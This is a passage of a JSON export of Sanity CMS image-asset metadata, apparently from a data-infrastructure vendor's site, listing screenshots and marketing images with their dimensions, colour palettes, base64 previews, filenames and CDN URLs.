opulation":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1a484","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c77aa","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c76155","foreground":"#fff","population":0.23,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"cluster-details.png","path":"images/sczeoy4w/production/178304375d9d1a3c72e7144b9f075379c46d9e16-2044x1360.png","sha1hash":"178304375d9d1a3c72e7144b9f075379c46d9e16","size":77630,"uploadId":"s58d21CZT8TqnFyvTyjn3nZj2KTKHU7U","url":"https://cdn.sanity.io/images/sczeoy4w/production/178304375d9d1a3c72e7144b9f075379c46d9e16-2044x1360.png"} {"_createdAt":"2023-02-13T17:12:45Z","_id":"image-17cdd7e1c631dd9f12414bd6433299d3eb972363-2000x361-png","_rev":"qBG5W2UzMHRLoCg3nIcge0","_type":"sanity.imageAsset","_updatedAt":"2023-02-13T17:12:45Z","assetId":"17cdd7e1c631dd9f12414bd6433299d3eb972363","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"4bC#xxm:}]aKxv","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.54016620498615,"height":361,"width":2000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAABHElEQVQYlWNYkxTOOie7kr0rbgHbYdlyltfMAUwnpYsYnrBFMjxmi2RAByfWijN82i/BsHJ2AcP/CwwM/y+xMtinfWAIK7rFGF5yk5mhL7GAfWFCMsdKj2y2M2LRrPc5/JkuiGQzPGaOYbjHHoZh4P/zEgy/DkkwGCX8Yfj/n4Hh9mZbhqkTepnau+axtncvZGVYEBPCsifAmO2IqTHrGTFn5iu8Poz3uZIZXjNkMdzgCMIw8MlucYYZC0QYpkxLYvhzjJnhxW41ph2LUlnXzS3kuLzeg43hpA8nwylHAcbjRrKMBxX0GHYLODOYMuQxzNQVZTjL5Y1h4KNd4gyXt4ozHFmrx/B2Px/j892KLLuXJLJtmF/I/mq3LhsAGtFefYUw04kAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4138","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#340414","foreground":"#fff","population":0.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#340414","foreground":"#fff","population":0.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8e0a36","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f583a9","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#505050","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec125b","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"bg-dark-pattern-square-side.png","path":"images/sczeoy4w/production/17cdd7e1c631dd9f12414bd6433299d3eb972363-2000x361.png","sha1hash":"17cdd7e1c631dd9f12414bd6433299d3eb972363","size":9268,"uploadId":"Sjcx8jhSwKNqR1ByUtHVRyKfGwUcAw7S","url":"https://cdn.sanity.io/images/sczeoy4w/production/17cdd7e1c631dd9f12414bd6433299d3eb972363-2000x361.png"} {"_createdAt":"2022-09-27T15:19:36Z","_id":"image-17d887c154cde266a33ebae9dc81dca3d32c1820-1600x1137-png","_rev":"z4aw9LO53fWpwEzdXP1m0d","_type":"sanity.imageAsset","_updatedAt":"2022-09-27T15:19:36Z","assetId":"17d887c154cde266a33ebae9dc81dca3d32c1820","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VaOf.GAHDitl8_.Tw^%Mg4M{00V@%#-8OYo~WAnhI;Mx","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4072119613016711,"height":1137,"width":1600},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEHklEQVQ4jT2QbUxbZRTHr5Fs64A4XZwCCfHjMmZkomIkTBfFzE7Dy5BolNdOgigwBGEDQkAoMNu1yFigLQRB0eGiaCJgRNgM27IwsiHYFgplpWWspdCX+37vc+95TIt6kv+X8+F3fv9DBEjxkSWb8/Hbs38dvfbn7dSpa7de+2P65vGffp5IbGhsjT30VFw0QRCR+6Mei0x8/oXIO3NzCV7vdk0gEPyWYZgRhNAVWZY1CKFUlmUjCD8pRBpMQ8/mFZYWv5WZq03LyO96I6Og81XlB9rnUt5pik84XhN3OKXq8Isnq1JOfljV2H5JM79gvunz+dwMw2wjhLZlWb6BEMphqOAewutjn1a3X1TmFpQMF5fVOcrrNJ6KBr27vF7nLqu7uPnpea2rvF7nrG7udjZc6HMavvnFPb9o5fx+H+Y4DiMkYVmWzQhJeTTN7CE8XuoZjbYzW62+MPHr2CR/d8GG7y7a8Ow9K74zv4TnzXa8uOTAZpsTW1Zd2O7YxG7PFvj9PpmiKJnneUACb0ZMoJB1zO0j3FtkvE5/6XRvr2HcYrGwAs9hjiHloH8HKJIEkRdA4kVAggiSJIEoIiBJEna2dyAQCALLslgIPNxA1vEmyXgilnjoCR5Ut335dk9P75jZbOEEjsUCEwDSvw1kIAAsxQAXpIEJ0sBxHISMQkCfzw8URYV2WNg0c2iyeQxaDykJh9O7t6z8bGr35cujFouVFQQeixwDDBkEmqSAY9iwpSiIgBACURSBouiwHU0zwIf2G/ewNFq6Co1RaqKouJpQKk8ldnZ2fmexWBlBELDAssCQJLAMA6IggCzLAAA4lFBtmqbB7w+EgQxNQ9A8ibnB7C1o2HeFwBgTKSkpR3U63ZDVaqXFEJDjgKF2gULoh0j6HypLcrg2y7DA8Ty4H6yD9cc27GlL8ML5R68SHo+XSE5++Yherx9cXl6mJUnCSBTlUFWe5cJ1ZREBSPKuYmjCujIOnXDZLXCrW4Ud1QfWcC2hIUZGrkakpb15rKWlZXhmZoZ1OBz4vn0Nr9pWsH1lFd9ftWPH2hpedzjw+roTnE7XblwuWHdtwOyNafxbx/vIUnnwuliveI8YGBiKUZ356PXS0k+MGo3mb5Opb8VkNNmMBsOKoddgMxp6VwdM3Q++79eyI/0d+Ie+f2NqxyPGdvy1tkYa+PzU+lR1YteC5tRLhE7/VVzF2cqk3Lz87Pz8gmKV6kzJfykqUpWoigo/bqrMbh7+4sT4REfyxlR7EjfdegxNNyUKv9cn+kark+YGy1/RDdSkK/u0TfFE7bm6iLKyir2FhSpF9rs5ioyMLEVGZpYiMytLkZWVqcjJTldc1x6J8Q7GnqaHnhzi+p9Y4XsPBPmuaDerjZoKqqM/szfGJPRUpe+vP1cb8Q89QCSir9WgOAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#645634","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#082662","foreground":"#fff","population":1.73,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa8408","foreground":"#000","population":4.6,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c3a1b4","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcacdc","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#985068","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa8408","foreground":"#000","population":4.6,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"laptop-aiven-console-create-service-clickhouse.png","path":"images/sczeoy4w/production/17d887c154cde266a33ebae9dc81dca3d32c1820-1600x1137.png","sha1hash":"17d887c154cde266a33ebae9dc81dca3d32c1820","size":92065,"uploadId":"OBmlyUPYHvVi23raXnAcpwzoUWBw55ZT","url":"https://cdn.sanity.io/images/sczeoy4w/production/17d887c154cde266a33ebae9dc81dca3d32c1820-1600x1137.png"} {"_createdAt":"2022-09-11T12:10:45Z","_id":"image-36723c1861bf7fc3866308aad86b969d2606d42c-1200x630-jpg","_rev":"cEPH2uRN58AU2lp9QQKW77","_type":"sanity.imageAsset","_updatedAt":"2022-09-11T12:10:45Z","assetId":"36723c1861bf7fc3866308aad86b969d2606d42c","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMEBf/EACEQAAICAgEEAwAAAAAAAAAAAAECAwQAESEFEjFBEyKR/8QAFwEAAwEAAAAAAAAAAAAAAAAAAgUGB//EABsRAQEAAwEBAQAAAAAAAAAAAAECAAMRBSFh/9oADAMBAAIRAxEAPwDdqN0pa0fyVFaQLz9vJzNvWK/TelGwGVJZpuzTJ3dqa9ZS/MS8D8xU0MdhFSdA6ryAfWRD6jGwbOhmrbIalBfv7iqIr2KUMpDlmXbEDQ3vDKoY1jjVEUKo8AYYs2+jVWsnDDloA7n/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8f1d09","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b0240c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb740c","foreground":"#fff","population":8.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c6c7c0","foreground":"#000","population":0.16,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7ca4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a4b4a4","foreground":"#000","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb740c","foreground":"#fff","population":8.19,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Wolt_Case_Study_meta_preview.jpeg","path":"images/sczeoy4w/production/36723c1861bf7fc3866308aad86b969d2606d42c-1200x630.jpg","sha1hash":"36723c1861bf7fc3866308aad86b969d2606d42c","size":207362,"uploadId":"K6C6NtF8li9CmzuOdZFxqQvK7ardlKWP","url":"https://cdn.sanity.io/images/sczeoy4w/production/36723c1861bf7fc3866308aad86b969d2606d42c-1200x630.jpg"} {"_createdAt":"2023-06-26T07:18:21Z","_id":"image-367bca89312b776def9b418373f2d59eb54d6d70-3295x1724-png","_rev":"KtWw3EPsvVF1DpRqB21ddh","_type":"sanity.imageAsset","_updatedAt":"2023-06-26T07:18:21Z","assetId":"367bca89312b776def9b418373f2d59eb54d6d70","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TM_S.ti^=zh~}BjbfkjZfRl:bcb^ivcY","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9112529002320187,"height":1724,"width":3295},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAB5LAAAeSwG9LhMsAAABd0lEQVQokY2SS08TARhFb6vOoE5JRFzIgp1iIggBtpoorEkQBBVLbHF41Bbo8BiE1o3EDcFIQjTG/3qPKVSYhYYuvny7k5PcI6YFLwUzgleCecEbwTvBouC9YEkQC1YEFUFVsC6oC7YEO4JdQSr0T+DbDLB0DnQsvCpcEa4KbwjXhbeEd4QvgC3Y35sVzLUNFwTFtmE5Y7gm+CioCTYFyaWhLw1z8LoLihEUu2AxgFII5QAvXYMPObycx9UQJwWc3MZJiLcDvBvg9DpOc2fQc+BcALUBaD6F7ceQPIS9QUgH8Po9WLuFawXcfIBPJvD3Z/hoFB+P4m8j+Gs/3g8zwPkQ6kPwZRI+jUH6BJrj0BjG9T6oRHjjDj4cwb9n8a8pfPoC/5jAP5/jo0f44GYGOJOHhQjKd6HUDeUCxN2wHOE4hDiPV2/gpAc3+vHBfbzfixu9+HPrR3gv3wZ2OEpr5Ytsrh7l6mxaK3ulk2w6DPuswwzwf2H/AaOr5+TMX58rAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":22.8,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bfa492","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc8c84","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b68e64","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":22.8,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Conrad_Electronic_social_media_1200x628_1.png","path":"images/sczeoy4w/production/367bca89312b776def9b418373f2d59eb54d6d70-3295x1724.png","sha1hash":"367bca89312b776def9b418373f2d59eb54d6d70","size":86282,"uploadId":"OjbpCFBrjYYTo8wg6Rspk4ZxzfrLy5Lu","url":"https://cdn.sanity.io/images/sczeoy4w/production/367bca89312b776def9b418373f2d59eb54d6d70-3295x1724.png"} {"_createdAt":"2022-09-19T17:34:42Z","_id":"image-180179c78143693480b4a4641474ddfb4d8c80eb-690x413-png","_rev":"OFlS64pMvIisdGKtV7rP0X","_type":"sanity.imageAsset","_updatedAt":"2022-09-19T17:34:42Z","assetId":"180179c78143693480b4a4641474ddfb4d8c80eb","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6707021791767553,"height":413,"width":690},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAAB0ElEQVQoka2SS2sUQRSFb3Wj0Zn03Gt6MnV8xCgxqTvqMIYOZiTjg7hzk41m6dZd9j4QwW5FceXCP+B/E3EpuBG6W2q6hukE3KXgQF2q6quqew7RaQ+TV2TykkxRUfT+Ly0dfqcLXSa+NCKGziRw/5ES22adrSOxShQVJZkP9QxI32rqre8Sr22TDDYDbA49IQ/ykABu6jmwqIwpqpi+1Ca5fUC9axOSwY1joMVrQ2293AIY5L8cRXnZN0U1jN7+vn7+yeeepFe7fPFmwtBEoAnD9QRumeE6AtcVqJdf63mxl9VzbNV4IEd5uW+K6kX8+tdhZ/9NJqsbI8Zwh6G7DJ0IdI/h7grcNsNlDB0J9BZD7wh0wtA9gW6I1TMe2I/y8qkpqqP45Y+D7vRoR+yWP3SPoVOGPhToY4Z7wHBThvOHxwLnAvA+Qx8JdHMOXDJ5qaaosvjVzyvL2XMR61YY2mfoikBTgQ4EbpUbpQLn29AR61uhKTd7OhK+7GMTm6I6az7WEX2tSdJ14rWsMWLW/IWLM7VM4hPut3JYk/lUE9U18eUxid1qNnsnB4ssNrkLMNvkrx2v48F+94eS8bOQwWHrFQHWCnUT5FCHub/s1Mc/7bx+iDTmbfYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#16302c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#043094","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#043094","foreground":"#fff","population":0.05,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#035895","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7dc6fc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#035895","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a95fa","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"conduktor-690x413.png","path":"images/sczeoy4w/production/180179c78143693480b4a4641474ddfb4d8c80eb-690x413.png","sha1hash":"180179c78143693480b4a4641474ddfb4d8c80eb","size":8621,"uploadId":"Yspdu9ZQo8Vuc9mqxXYi7NimGfbnukvY","url":"https://cdn.sanity.io/images/sczeoy4w/production/180179c78143693480b4a4641474ddfb4d8c80eb-690x413.png"} {"_createdAt":"2024-05-08T12:49:44Z","_id":"image-1804e0e6bb243ad57f4527ca678e34e134328981-2524x1460-png","_rev":"mdEU5AcDfd24wlw26FKYoG","_type":"sanity.imageAsset","_updatedAt":"2024-05-08T12:49:44Z","assetId":"1804e0e6bb243ad57f4527ca678e34e134328981","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5S?DVS[Dk~Xry?K-oD*bWE1D+t3M#%1M{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7287671232876711,"height":1460,"width":2524},"exif":{"PixelXDimension":2524,"PixelYDimension":1460,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABYlAAAWJQFJUiTwAAABUUlEQVQokX1T7U7DMAzs+z8eQ4O/HQK2sa2fSRzbySGndHRbIdIpcmVfzme3uuwbdO0I5wjeR3gyBHjyCDEgCkOTIud8A9UEiop+YNRvDk/bFpuXFtXxcELTdAghgkUhouVmEYgqUkoPZIaUMpgTRifYvTtsti2eXztUznl4T2DW8uo9ZBn/kNuZSVUzfJiU9oOgIhLEKEWZFZkiKyz3A+GszmLL14cOqmGMU7sspWittds4QcREcIGI1U1WGSoiLmTMjMjmI0N0Sloq/lWtd0jl+4zKjLdkioSmb3Eez+hpKMTLxCXWhpTnlqPEshbee3x8faI+1TiORwQJ0KxIORWsFa+dytqzVwMR9s0BdbPDwe3RcQenDl49SAmS5GbCfyqcd82IBxpwDmdc6II2tui5hxNX1LJOFvxHVggD03X85hsxFZgV9peUBb9ifVWWhN+VYF/yoWZNxwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4d4e78","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424690","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#aecfad","foreground":"#000","population":0.24,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aecfad","foreground":"#000","population":0.24,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f476b4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#669164","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c44d88","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"fetch-messages.png","path":"images/sczeoy4w/production/1804e0e6bb243ad57f4527ca678e34e134328981-2524x1460.png","sha1hash":"1804e0e6bb243ad57f4527ca678e34e134328981","size":328487,"uploadId":"buSPvIrXMPUBh4EIb5uMnfluahT03jw3","url":"https://cdn.sanity.io/images/sczeoy4w/production/1804e0e6bb243ad57f4527ca678e34e134328981-2524x1460.png"} {"_createdAt":"2023-04-14T09:22:46Z","_id":"image-18110355f6841a73fc9dc1b39f1568407c36e0e5-1588x908-png","_rev":"ULcVtA1fOCO5xNRu1cuKbj","_type":"sanity.imageAsset","_updatedAt":"2023-04-14T09:25:30Z","altText":null,"assetId":"18110355f6841a73fc9dc1b39f1568407c36e0e5","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MIH__g00_2-;9F00~pIUM{%M4o?aM{R*t7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.748898678414097,"height":908,"width":1588},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABVElEQVQokXWSXUvCUBiA93udX5tGN11IC4a5Tb0Lot1YQtA/6CIwZ0XOiWFRdGWl1rZz2M7H5l2c2T6QBc/Fe+B9zvvByxXKTb7aKgpKUVD4qlIU1CwlMQ4EtVzTduD4Sos5SZKYRYthcY5c2MqCUsqYyUflWmSy1HZ1L6bOqNTbqcz8VE6f4n6ncXR6rPWUznnEhdbtq91+U+1xmTlTOUVQDxonl1fX9w9PY3M+Nuem9TKdvU2mrwPD4qIiuQNHPQvqoXw2GE4cFyKEEcIYk4AGvo8Xn2tuZ7e7sqhKsn5rWABAhBDyEcV4QwOCydfy5185eUqyPhhObNuFEEAAkOeHhBJMl7nydlvJCiRZHxqWbTsAuBBCjHAYhpQEq7WTykmf8bWksjGaui7wPM/3EaV0gwn5Bsv3j5zK/Hbzf+elSLI+upshVnDDCMJw5fiPz4sb8xe8u4QQTBUqtQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#594868","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ae2748","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6c748c","foreground":"#fff","population":64.83,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4b4cc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ea8ea8","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c748c","foreground":"#fff","population":64.83,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#df3e67","foreground":"#fff","population":0.2,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"mysql-migration-wizard.png","path":"images/sczeoy4w/production/18110355f6841a73fc9dc1b39f1568407c36e0e5-1588x908.png","sha1hash":"18110355f6841a73fc9dc1b39f1568407c36e0e5","size":56972,"title":null,"uploadId":"OwH9mQ9t6ehwyOQuI3SJrNZkSlTp2C2O","url":"https://cdn.sanity.io/images/sczeoy4w/production/18110355f6841a73fc9dc1b39f1568407c36e0e5-1588x908.png"} {"_createdAt":"2023-01-31T10:39:49Z","_id":"image-181e82a6335777d8ff07bf50fdf8f450bcff811c-2000x499-png","_rev":"pnOvEyahjeT2Gte9fevDHH","_type":"sanity.imageAsset","_updatedAt":"2023-01-31T10:51:03Z","altText":null,"assetId":"181e82a6335777d8ff07bf50fdf8f450bcff811c","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.008016032064128,"height":499,"width":2000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAv0lEQVQYlR3Q2wrEIAwE0P7/jy5s66qJRnNf7JCngUNgrrYFG3IDXdvNMiJUtbZ9PwJowvGWatFxt6evpwoM26e/Kgn0wX0crJruJjorjLtwB1vLhdNdLQB3K33/mnb0tdP9AuLRh+A0fp+429r0rfNzc6mK6ERpJ4Rz/BrXfjC9mMZcHQ6m5ZvTPLZIAb6rNrAxXqzhpkSMQycZrWDJiGuVsp7CrUsDwxlq6RGszhIqoRqqGXG2MHvPwz09MvMPnq0ikCjhZF8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#744c4c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9f3176","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f16582","foreground":"#fff","population":0.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d2a6bd","foreground":"#000","population":0.07,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc8c94","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5998b0","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f16582","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"blog-kafka-mastodon-2-select-OpenSearch-sink-connector.png","path":"images/sczeoy4w/production/181e82a6335777d8ff07bf50fdf8f450bcff811c-2000x499.png","sha1hash":"181e82a6335777d8ff07bf50fdf8f450bcff811c","size":71594,"title":null,"uploadId":"lD2MGh0ePjZ2eDoSSwgpUm9VVCjNdFEx","url":"https://cdn.sanity.io/images/sczeoy4w/production/181e82a6335777d8ff07bf50fdf8f450bcff811c-2000x499.png"} {"_createdAt":"2022-06-30T19:56:27Z","_id":"image-18448700b263d6ac580b0b07870bb2308ea71312-750x454-png","_rev":"cEPH2uRN58AU2lp9QO7e6T","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:16:42Z","assetId":"18448700b263d6ac580b0b07870bb2308ea71312","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M4SF;L?v%g~qMx?btRx]V[xuNGofMxj[kC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6519823788546255,"height":454,"width":750},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAABM0lEQVQokVWSWY6EMAxEuf9NpwHvW/hqmdDAlCJACi9lu7IQkbtX1RgjMnfBv+2DAO6eVVmXMtPdzV3VmFlEImKZrwlnFSqv+wYAfEpOqQgz0xQgA6poeCxm1iaZ4zhqlKgAAiISIm47bkDQ3/0EYEABUmI3a+eIcI8LrhIRRGw7Ivys9NkEUOdCVCITdW0/d1/GqePUhIlIRZSZ1p13VGYT+S21l5bjpTGGqjasqiLtyeJm/9ZLXXZEl/3A55waZjbVuftWdKfePSMiM7v7GKOqbCZxjbltZxC3qmraZlXDwhKRD3wmwtRRmVlm1nj4zJwBVVXnrGaRWdWwqiIiAjK1v6rOIH+X5botEf3/Yj2/3p+wWZc9Pe9x3ORz1ZqJRaXPvhub85jAu9VbEQEA67oCwBc7qK9OoflrIQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#267255","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#216349","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#57c79c","foreground":"#000","population":0.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4acbc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#74fcc4","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7a888f","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#57c79c","foreground":"#000","population":0.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"18448700b263d6ac580b0b07870bb2308ea71312-750x454.png","path":"images/sczeoy4w/production/18448700b263d6ac580b0b07870bb2308ea71312-750x454.png","sha1hash":"18448700b263d6ac580b0b07870bb2308ea71312","size":32640,"uploadId":"v78QvGza5MtY58vHU0fd7hK0eEHc0kGV","url":"https://cdn.sanity.io/images/sczeoy4w/production/18448700b263d6ac580b0b07870bb2308ea71312-750x454.png"} 